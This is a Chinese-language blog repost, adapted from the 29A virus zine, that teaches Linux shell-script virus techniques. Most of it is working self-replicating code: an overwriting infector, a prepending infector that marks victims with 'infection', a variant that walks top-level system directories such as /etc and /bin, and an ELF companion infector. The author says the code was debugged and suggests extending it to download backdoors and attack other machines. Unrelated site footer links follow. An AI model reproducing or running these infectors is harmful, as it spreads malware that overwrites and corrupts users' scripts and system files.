感染linux脚本程序技术

前言
----
  本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
  对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术
-------------------
  当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
  ok!我们进入正题!
  我们来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
  do
  if test -f $file
  then
  if test -x $file
  then
   if test -w $file
   then
   if grep -s echo $file >.mmm
   then
   cp $0 $file
  fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    <-取自身保存到.test
  for file in *      <-遍历文件系统
  do
 if test -f $file    <-判断是否为文件
 then
   if test -x $file    <-判断文件是否可执行
   then
      if test -w $file  <-判断文件是否可写
      then
       if grep -s echo $file >.mmm  <-判断是否为脚本程序
       then
        head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行
        if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染
        then
        rm -f .mm      <-已经被感染,则跳过
        else        <-还未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
  head -n 1 $file >.mm
   if grep -s infection .mm > /dev/nul ; then
   rm .mm -f ; else
    cat $file > .SAVEE
    head -n 13 $0 > $file
    cat .SAVEE >> $file
  fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:)
--------------------------------------------------------
#infection
xtemp=$pwd        <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do      <-遍历/目录
  if test -d $dir ; then    <-如果是目录就cd该目录
 cd $dir
 for file in * ; do      <-遍历该目录文件
  if test -f $file && test -x $file && test -w $file ; then  <-确定文件是否可执行,可写
  if grep -s echo $file > /dev/nul ; then      <-确定是否为脚本程序
   head -n 1 $file > .mm
   if grep -s infection .mm > /dev/nul ; then    <-确定是否已经被感染
    rm .mm -f ; else
    cat $file > /.SAVEE        <-和前面的感染机制一样感染未被感染的脚本程序
    cat /.test > $file
    cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
  fi
done
cd $xtemp    <-返回原目录
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧:)
-------------------------------------------------------------
for file in * ; do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
  mv $file .$file
  head -n 9 $0 > $file
  fi; fi
done
.$0
-------------------------------------------------------------

转载于:https://www.cnblogs.com/Safe3/archive/2008/10/07/1305545.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/379866.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java——设计模式(简单工厂模式)

* A:简单工厂模式概述* 简单工厂模式又叫静态工厂方法模式&#xff0c;它定义了一个具体的工厂类负责创建一些类的实例* B&#xff1a;优点* 客户端不需要再负责对象的创建&#xff0c;从而明确了各个类的职责* 简单来说&#xff0c;客户端你只需要用就可以了&#xff0c;就…

Java ObjectOutputStream writeFloat()方法与示例

ObjectOutputStream类writeFloat()方法 (ObjectOutputStream Class writeFloat() method) writeFloat() method is available in java.io package. 在java.io包中提供了writeFloat()方法 。 writeFloat() method is used to write the given 4 bytes of a float value. writeFl…

python安全攻防---信息收集---whois查询

whois是用来查询域名的IP以及所有者信息的传输协议。简单地说&#xff0c;whois就是一个数据库&#xff0c;用来查询域名是否以及被注册&#xff0c;以及注册域名的详细信息&#xff08;如域名所有人、域名注册商等&#xff09;。 使用whois查询&#xff0c;首先通过pip安装py…

百度面试题:从输入url到显示网页,后台发生了什么?

参考http://igoro.com/archive/what-really-happens-when-you-navigate-to-a-url/ http://www.cnblogs.com/wenanry/archive/2010/02/25/1673368.html 原文:http://igoro.com/archive/what-really-happens-when-you-navigate-to-a-url/ 作为一个软件开发者&#xff0c;你一定会…

VS2005无法启动修复办法

c:\Program Files\Microsoft Visual Studio 8\Common7\IDE>devenv /ResetSkipPkgs 转载于:https://www.cnblogs.com/doc/archive/2008/10/10/1307887.html

Java——设计模式(工厂方法模式)

* A:工厂方法模式概述* 工厂方法模式中抽象工厂类负责定义创建对象的接口&#xff0c;具体对象的创建工作由继承抽象工厂的具体类实现。* 简单来说&#xff1a;先定义一个工厂&#xff0c;工厂里面有些方法&#xff0c;这些方法就是用来创建动物的&#xff0c;然后有很多子工…

python安全攻防---爬虫基础---get和post提交数据

get提交数据1 get提交的数据就附在提交给服务器的url之后&#xff0c;以&#xff1f;开头参数之间以&隔开&#xff0c;例如/admin/user/123456.aspx?name123&id123 案例&#xff1a;写个脚本&#xff0c;在sogou自动搜索周杰伦&#xff0c;并将搜索页面的数据获取 程…

JavaMail中解决中文附件名乱码的问题

网上有很多类似的解决方案&#xff0c;很多是使用 if ((fileName ! null) && (fileName.toLowerCase().indexOf("gb2312") ! -1)){ fileName MimeUtility.decodeText(fileName); } 来解决&#xff0c;但对应gbk编码的附件名&#xff0c;这里仍不能正确处…

Java ObjectOutputStream writeBytes()方法与示例

ObjectOutputStream类writeBytes()方法 (ObjectOutputStream Class writeBytes() method) writeBytes() method is available in java.io package. writeBytes()方法在java.io包中可用。 writeBytes() method is used to write the given string as a sequence of bytes. write…

如何集中注意力(3)

如何集中注意力&#xff08;3&#xff09; [ 2008-10-20 10:15 ]by Glen Stansberry of LifeDev (feed). 集中注意力并不是一件很容易的事情&#xff0c;尤其是处在当前这个充满诱惑和纷扰的世界里。下面是继续告诉大家一些有帮助的方法&#xff1a; 7. Plan your day to the T…

Java——网络编程三要素

* A:计算机网络* 是指将地理位置不同的具有独立功能的多台计算机及其外部设备&#xff0c;通过通信线路连接起来&#xff0c;在网络操作系统、网络管理软件及网络通信协议的管理和协调下&#xff0c;实现资源共享和信息传递的计算机系统。* 其实我们这些网&#xff0c;之所以能…

python安全攻防---爬虫基础--re解析数据

0x01 re基础 使用re模块&#xff0c;必须先导入re模块 import refindall()&#xff1a;匹配所有符合正则的内容&#xff0c;返回的是一个列表 import restr "我的电话&#xff1a;10086&#xff0c;女朋友电话&#xff1a;11011" list re.findall(\d,str) print…

BSP for good 3d engine

1.open sourcehttp://irrlicht.sourceforge.net/downloads/ 2.不错的小材质http://www.permadi.com/tutorial/webgraph/index.html 3.java bsp display(demo):http://www.symbolcraft.com/graphics/bsp/index.php http://www.faqs.org/faqs/graphics/bsptree-faq/ 4.a bps ill…

Java InputStreamReader getEncoding()方法及示例

InputStreamReader类的getEncoding()方法 (InputStreamReader Class getEncoding() method) getEncoding() method is available in java.io package. getEncoding()方法在java.io包中可用。 getEncoding() method is used to get the encoding name avail for this InputStrea…

python安全攻防---爬虫基础---BeautifulSoup解析

0x01 基础 使用bs4首先要安装&#xff0c;安装后导入 import bs4bs对象有两个方法&#xff0c;一个是find&#xff0c;另一个是find_all find&#xff08;标签名&#xff0c;属性值&#xff09;&#xff1a;只返回一个&#xff0c;返回也是bs对象&#xff0c;可以继续用find…

DataRabbit 3.1发布,完全支持SqlServer2005/2008

增加了对SqlServer2005/2008的新的数据类型的支持&#xff0c;如uniqueidentifier、time、sql_variant等。另外&#xff0c;EntityCreator也一起更新--不再强迫为Entity生成ToString&#xff08;&#xff09;方法&#xff0c;使用者可以主动选择是否要生成。 DataRabbit 3.1 下…

Java——Socket通信原理

* Socket通信原理图解* A:Socket(中文翻译为&#xff1a;电源插座)套接字概述* 网络上具有唯一标识的IP地址和端口号组合在一起才能构成唯一能识别的标识套接字* 通信的两端都有Socket(两端都是电源插座&#xff0c;中间是啥&#xff1f;不就是电线啦&#xff0c;电…

asp.net链接mysql数据库------------【个人收集】

在web.config文件中添加如下样式的数据库链接字符串&#xff1a; <add name"dbconnection" connectionString"DataBasedatabasename;Server127.0.0.1;Uid用户名;Pwd密码;character setgbk;" providerName"MySql.Data.MySqlClient"/></c…

sql2005 远程连接

SQL Server 2005 不允许远程连接解决方法转载于:https://www.cnblogs.com/lcq135/archive/2008/11/06/1328380.html

Java GregorianCalendar computeTime()方法与示例

GregorianCalendar类computeTime()方法 (GregorianCalendar Class computeTime() method) computeTime() method is available in java.util package. java.util包中提供了computeTime()方法 。 computeTime() method is used to compute the calendar fields to the calendar …